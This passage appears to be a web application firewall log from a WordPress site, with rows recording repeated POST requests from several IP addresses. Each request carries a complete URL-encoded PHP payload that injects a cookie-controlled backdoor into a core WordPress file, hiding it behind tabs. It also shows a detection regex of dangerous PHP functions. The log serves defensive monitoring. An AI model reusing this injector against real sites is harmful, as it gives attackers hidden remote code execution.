2524c%255B3%255D%2529%2529%2529%253B%257Dinclude%2528%2524k%2529%253B%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/ HTTP\/1.1\nupgrade-insecure-requests:1\ncontent-length:3244\nsec-ch-ua:\"Chromium\";v=\"116\", \"Not)A;Brand\";v=\"24\", \"Google Chrome\";v=\"116\"\nsec-ch-ua-mobile:?0\nsec-ch-ua-platform:\"Windows\"\nsec-fetch-dest:document\nsec-fetch-site:none\ncontent-type:application\/x-www-form-urlencoded\nsec-fetch-mode:navigate\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\nsec-fetch-user:?1\naccept-encoding:gzip,deflate\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\ncookie:4=ce288246c7d2df0454c666077eb603cf; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvDIVvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYz1vK2AioaMypaDvB2yzXTMcoTIspUI0K2AioaEyoaEmXPEjYPEwXFy7nJ5woUIxMFNxpQgNqJ5fnJ5eXPEjXGgyrTy0B319sJEcMFtvVJ5iqUqlqTWfVFVcBj==; 1=53; 0=71\naccept:*\/*\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/116.0.0.0 Safari\/537.36\n\nAR=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/class-wp-site-query.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528isset%2528%2524_COOKIE%255B3%255D%2529%2526%2526isset%2528%2524_COOKIE%255B38%255D%2529%2529%257B%2524c%253D%2524_COOKIE%253B%2524k%253D0%253B%2524n%253D5%253B%2524p%253Darray%2528%2529%253B%2524p%255B%2524k%255D%253D%2527%2527%253Bwhile%2528%2524n%2529%257B%2524p%255B%2524k%255D.%253D%2524c%255B38%255D%255B%2524n%255D%253Bif%2528%2521%2524c%255B38%255D%255B%2524n%252B1%255D%2529%257Bif%2528%2521%2524c%255B38%255D%255B%2524n%252B2%255D%2529break%253B%2524k%252B%252B%253B%2524p%255B%2524k%255D%253D%2527%2527%253B%2524n%252B%252B%253B%257D%2524n%253D%2524n%252B5%252B1%253B%257D%2524k%253D%2524p%255B27%255D%2528%2529.%2524p%255B4%255D%253Bif%2528%2521%2524p%255B9%255D%2528%2524k%2529%2529%257B%2524n%253D%2524p%255B23%255D%2528%2524k%252C%2524p%255B11%255D%2529%253B%2524p%255B7%255D%2528%2524n%252C%2524p%255B10%255D.%2524p%255B22%255D%2528%2524p%255B25%255D%2528%2524c%255B3%255D%2529%2529%2529%253B%257Dinclude%2528%2524k%2529%253B%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 13:51:28","107.155.87.193","POST","\/","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/101.0.4951.64 Safari\/537.36 Edg\/101.0.1210.47","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> hc:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/class-wp-site-query.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528isset%2528%2524_COOKIE%255B3%255D%2529%2526%2526isset%2528%2524_COOKIE%255B38%255D%2529%2529%257B%2524c%253D%2524_COOKIE%253B%2524k%253D0%253B%2524n%253D5%253B%2524p%253Darray%2528%2529%253B%2524p%255B%2524k%255D%253D%2527%2527%253Bwhile%2528%2524n%2529%257B%2524p%255B%2524k%255D.%253D%2524c%255B38%255D%255B%2524n%255D%253Bif%2528%2521%2524c%255B38%255D%255B%2524n%252B1%255D%2529%257Bif%2528%2521%2524c%255B38%255D%255B%2524n%252B2%255D%2529break%253B%2524k%252B%252B%253B%2524p%255B%2524k%255D%253D%2527%2527%253B%2524n%252B%252B%253B%257D%2524n%253D%2524n%252B5%252B1%253B%257D%2524k%253D%2524p%255B27%255D%2528%2529.%2524p%255B4%255D%253Bif%2528%2521%2524p%255B9%255D%2528%2524k%2529%2529%257B%2524n%253D%2524p%255B23%255D%2528%2524k%252C%2524p%255B11%255D%2529%253B%2524p%255B7%255D%2528%2524n%252C%2524p%255B10%255D.%2524p%255B22%255D%2528%2524p%255B25%255D%2528%2524c%255B3%255D%2529%2529%2529%253B%257Dinclude%2528%2524k%2529%253B%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/ HTTP\/1.1\nupgrade-insecure-requests:1\ncontent-length:3244\nsec-ch-ua:\" Not A;Brand\";v=\"99\", \"Chromium\";v=\"101\", \"Microsoft Edge\";v=\"101\"\nsec-ch-ua-mobile:?0\nsec-ch-ua-platform:\"Windows\"\nsec-fetch-dest:document\nsec-fetch-site:none\ncontent-type:application\/x-www-form-urlencoded\nsec-fetch-mode:navigate\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\nsec-fetch-user:?1\naccept-encoding:gzip,deflate\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\ncookie:4=9502d8dfeef0bdc4da77dd3a93ec6aec; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvnTZvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYzAfLKAmMKZvB2yzXTMcoTIspUI0K2AioaEyoaEmXPEjYPEwXFy7nJ5woUIxMFNxpQgNqJ5fnJ5eXPEjXGgyrTy0B319sJEcMFtvVJ5iqUqlqTWfVFVcBj==; 1=53; 0=71\naccept:*\/*\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/101.0.4951.64 Safari\/537.36 Edg\/101.0.1210.47\n\nhc=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/class-wp-site-query.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528isset%2528%2524_COOKIE%255B3%255D%2529%2526%2526isset%2528%2524_COOKIE%255B38%255D%2529%2529%257B%2524c%253D%2524_COOKIE%253B%2524k%253D0%253B%2524n%253D5%253B%2524p%253Darray%2528%2529%253B%2524p%255B%2524k%255D%253D%2527%2527%253Bwhile%2528%2524n%2529%257B%2524p%255B%2524k%255D.%253D%2524c%255B38%255D%255B%2524n%255D%253Bif%2528%2521%2524c%255B38%255D%255B%2524n%252B1%255D%2529%257Bif%2528%2521%2524c%255B38%255D%255B%2524n%252B2%255D%2529break%253B%2524k%252B%252B%253B%2524p%255B%2524k%255D%253D%2527%2527%253B%2524n%252B%252B%253B%257D%2524n%253D%2524n%252B5%252B1%253B%257D%2524k%253D%2524p%255B27%255D%2528%2529.%2524p%255B4%255D%253Bif%2528%2521%2524p%255B9%255D%2528%2524k%2529%2529%257B%2524n%253D%2524p%255B23%255D%2528%2524k%252C%2524p%255B11%255D%2529%253B%2524p%255B7%255D%2528%2524n%252C%2524p%255B10%255D.%2524p%255B22%255D%2528%2524p%255B25%255D%2528%2524c%255B3%255D%2529%2529%2529%253B%257Dinclude%2528%2524k%2529%253B%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 13:51:34","172.86.89.164","POST","\/","Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/605.1.15 (KHTML, like Gecko) Version\/17.0 Safari\/605.1.15","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> WB:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/class-wp-site-query.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528isset%2528%2524_COOKIE%255B3%255D%2529%2526%2526isset%2528%2524_COOKIE%255B38%255D%2529%2529%257B%2524c%253D%2524_COOKIE%253B%2524k%253D0%253B%2524n%253D5%253B%2524p%253Darray%2528%2529%253B%2524p%255B%2524k%255D%253D%2527%2527%253Bwhile%2528%2524n%2529%257B%2524p%255B%2524k%255D.%253D%2524c%255B38%255D%255B%2524n%255D%253Bif%2528%2521%2524c%255B38%255D%255B%2524n%252B1%255D%2529%257Bif%2528%2521%2524c%255B38%255D%255B%2524n%252B2%255D%2529break%253B%2524k%252B%252B%253B%2524p%255B%2524k%255D%253D%2527%2527%253B%2524n%252B%252B%253B%257D%2524n%253D%2524n%252B5%252B1%253B%257D%2524k%253D%2524p%255B27%255D%2528%2529.%2524p%255B4%255D%253Bif%2528%2521%2524p%255B9%255D%2528%2524k%2529%2529%257B%2524n%253D%2524p%255B23%255D%2528%2524k%252C%2524p%255B11%255D%2529%253B%2524p%255B7%255D%2528%2524n%252C%2524p%255B10%255D.%2524p%255B22%255D%2528%2524p%255B25%255D%2528%2524c%255B3%255D%2529%2529%2529%253B%257Dinclude%2528%2524k%2529%253B%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/ HTTP\/1.1\nuser-agent:Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/605.1.15 (KHTML, like Gecko) Version\/17.0 Safari\/605.1.15\nsec-fetch-site:none\ncontent-type:application\/x-www-form-urlencoded\nsec-fetch-mode:navigate\nsec-fetch-dest:document\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\ncontent-length:3244\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\ncookie:4=1af844051764377410b827578daae50e; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvI0VvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYzyhL2k1MTHvB2yzXTMcoTIspUI0K2AioaEyoaEmXPEjYPEwXFy7nJ5woUIxMFNxpQgNqJ5fnJ5eXPEjXGgyrTy0B319sJEcMFtvVJ5iqUqlqTWfVFVcBj==; 1=53; 0=71\naccept:*\/*\naccept-encoding:gzip,deflate\n\nWB=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/class-wp-site-query.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528isset%2528%2524_COOKIE%255B3%255D%2529%2526%2526isset%2528%2524_COOKIE%255B38%255D%2529%2529%257B%2524c%253D%2524_COOKIE%253B%2524k%253D0%253B%2524n%253D5%253B%2524p%253Darray%2528%2529%253B%2524p%255B%2524k%255D%253D%2527%2527%253Bwhile%2528%2524n%2529%257B%2524p%255B%2524k%255D.%253D%2524c%255B38%255D%255B%2524n%255D%253Bif%2528%2521%2524c%255B38%255D%255B%2524n%252B1%255D%2529%257Bif%2528%2521%2524c%255B38%255D%255B%2524n%252B2%255D%2529break%253B%2524k%252B%252B%253B%2524p%255B%2524k%255D%253D%2527%2527%253B%2524n%252B%252B%253B%257D%2524n%253D%2524n%252B5%252B1%253B%257D%2524k%253D%2524p%255B27%255D%2528%2529.%2524p%255B4%255D%253Bif%2528%2521%2524p%255B9%255D%2528%2524k%2529%2529%257B%2524n%253D%2524p%255B23%255D%2528%2524k%252C%2524p%255B11%255D%2529%253B%2524p%255B7%255D%2528%2524n%252C%2524p%255B10%255D.%2524p%255B22%255D%2528%2524p%255B25%255D%2528%2524c%255B3%255D%2529%2529%2529%253B%257Dinclude%2528%2524k%2529%253B%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 13:51:46","148.113.9.51","POST","\/wp-admin\/site-health.php","Mozilla\/5.0 (iPhone; CPU iPhone OS 17_2 like Mac OS X) AppleWebKit\/605.1.15 (KHTML, like Gecko) Version\/17.2 Mobile\/15E148 Safari\/604.1","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> sz:%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/class-wp-site-query.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528isset%2528%2524_COOKIE%255B3%255D%2529%2526%2526isset%2528%2524_COOKIE%255B38%255D%2529%2529%257B%2524c%253D%2524_COOKIE%253B%2524k%253D0%253B%2524n%253D5%253B%2524p%253Darray%2528%2529%253B%2524p%255B%2524k%255D%253D%2527%2527%253Bwhile%2528%2524n%2529%257B%2524p%255B%2524k%255D.%253D%2524c%255B38%255D%255B%2524n%255D%253Bif%2528%2521%2524c%255B38%255D%255B%2524n%252B1%255D%2529%257Bif%2528%2521%2524c%255B38%255D%255B%2524n%252B2%255D%2529break%253B%2524k%252B%252B%253B%2524p%255B%2524k%255D%253D%2527%2527%253B%2524n%252B%252B%253B%257D%2524n%253D%2524n%252B5%252B1%253B%257D%2524k%253D%2524p%255B27%255D%2528%2529.%2524p%255B4%255D%253Bif%2528%2521%2524p%255B9%255D%2528%2524k%2529%2529%257B%2524n%253D%2524p%255B23%255D%2528%2524k%252C%2524p%255B11%255D%2529%253B%2524p%255B7%255D%2528%2524n%252C%2524p%255B10%255D.%2524p%255B22%255D%2528%2524p%255B25%255D%2528%2524c%255B3%255D%2529%2529%2529%253B%257Dinclude%2528%2524k%2529%253B%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20","POST \/wp-admin\/site-health.php HTTP\/1.1\nuser-agent:Mozilla\/5.0 (iPhone; CPU iPhone OS 17_2 like Mac OS X) AppleWebKit\/605.1.15 (KHTML, like Gecko) Version\/17.2 Mobile\/15E148 Safari\/604.1\nsec-fetch-site:none\ncontent-type:application\/x-www-form-urlencoded\nsec-fetch-mode:navigate\nsec-fetch-dest:document\naccept-charset:ISO-8859-1,utf-8;q=0.7,*;q=0.3\ncontent-length:3244\nhost:dewenlabels.com\naccept-language:eo;q=0.8,en-US;q=0.6,en;q=0.4\ncookie:4=3a8677dc156d672c6e12f16237adcc36; 3=WTEcpaZ9LKWlLKysMzyfqTIlXSgmrKAsM2I0K3EyoKOsMTylXPxfVv90oKNvYPViqzSlY3EgpPVfnJ5cK2qyqPtvqKOfo2SxK3EgpS9xnKVvXFkaMKEyoaLbVyESGINvXFkaMKEyoaLbVyEAHPVcYTqyqTA3MPtcKFx7WTZ9pzS3qKWfMTIwo2EyXPEsHR9GISfvp3bvKFx7Mz9lMJSwnPtxMTylplOuplNxMPy7nJLbnKAsMTylXPExXFLzVTymK3qlnKEuLzkyXPExXFy7WUN9VafxMU0iYaWyp2I0VwgcMvuznJkyK3O1qS9wo250MJ50pltxpPjxLlxcr2yhL2k1MTHtWUN7DUIhoTyhnltxpPx7MKucqQg9sK1xnJHbVvSho3E3paEvoPRvXGf=; 1=53; 0=71\naccept:*\/*\naccept-encoding:gzip,deflate\n\nsz=%3C%3Fphp%20%20%24path%20%3D%20%27\/www\/wwwroot\/dewenlabels.com\/wp-includes\/class-wp-site-query.php%27%3B%20%24ft%20%3D%20%40filemtime%28%24path%29%3B%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%24new_code%20%3D%20rawurldecode%28%27if%2528isset%2528%2524_COOKIE%255B3%255D%2529%2526%2526isset%2528%2524_COOKIE%255B38%255D%2529%2529%257B%2524c%253D%2524_COOKIE%253B%2524k%253D0%253B%2524n%253D5%253B%2524p%253Darray%2528%2529%253B%2524p%255B%2524k%255D%253D%2527%2527%253Bwhile%2528%2524n%2529%257B%2524p%255B%2524k%255D.%253D%2524c%255B38%255D%255B%2524n%255D%253Bif%2528%2521%2524c%255B38%255D%255B%2524n%252B1%255D%2529%257Bif%2528%2521%2524c%255B38%255D%255B%2524n%252B2%255D%2529break%253B%2524k%252B%252B%253B%2524p%255B%2524k%255D%253D%2527%2527%253B%2524n%252B%252B%253B%257D%2524n%253D%2524n%252B5%252B1%253B%257D%2524k%253D%2524p%255B27%255D%2528%2529.%2524p%255B4%255D%253Bif%2528%2521%2524p%255B9%255D%2528%2524k%2529%2529%257B%2524n%253D%2524p%255B23%255D%2528%2524k%252C%2524p%255B11%255D%2529%253B%2524p%255B7%255D%2528%2524n%252C%2524p%255B10%255D.%2524p%255B22%255D%2528%2524p%255B25%255D%2528%2524c%255B3%255D%2529%2529%2529%253B%257Dinclude%2528%2524k%2529%253B%257D%27%29%3B%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20die%28%27%21already%20injected%21%27%29%3B%20%7D%20%24starts%20%3D%20%5B%27%3C%3Fphp%27%2C%20%27%3C%3F%27%5D%3B%20foreach%20%28%24starts%20as%20%24start%29%20%7B%20%20%20%20%20if%20%28substr%28%24content%2C%200%2C%20strlen%28%24start%29%29%20%3D%3D%20%24start%29%20%7B%20%20%20%20%20%20%20%20%20%24content%20%3D%20substr%28%24content%2C%20strlen%28%24start%29%29%3B%20%20%20%20%20%20%20%20%20%24content%20%3D%20%24start.str_repeat%28%22%5Ct%22%2C%2042%29.%24new_code.%22%5Cn%22.%24content%3B%20%20%20%20%20%20%20%20%20if%20%28file_put_contents%28%24path%2C%20%24content%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%24content%20%3D%20file_get_contents%28%24path%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28strstr%28%24content%2C%20%24new_code%29%29%20%7B%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20die%28%22%21success%21%3Cft%3E%7B%24ft%7D%3C\/ft%3E%22%29%3B%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%20%20%20%20%7D%20%20%20%20%20%7D%20%7D%20die%28%27%21failed%21%27%29%3B%20"]
["2026-05-12 13:51:54","103.136.211.220","POST","\/wp-admin\/network\/plugins.php","Mozilla\/5.0 (Linux; Android 12; Pixel 6) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/99.0.4844.58 Mobile Safari\/537.36","post","(?:define|eval|file_get_contents|include|require|require_once|shell_exec|phpinfo|system|passthru|chr|char|preg_\\w+|execute|echo|print|print_r|var_dump|(fp)open|alert|showmodaldialog)\\( >> 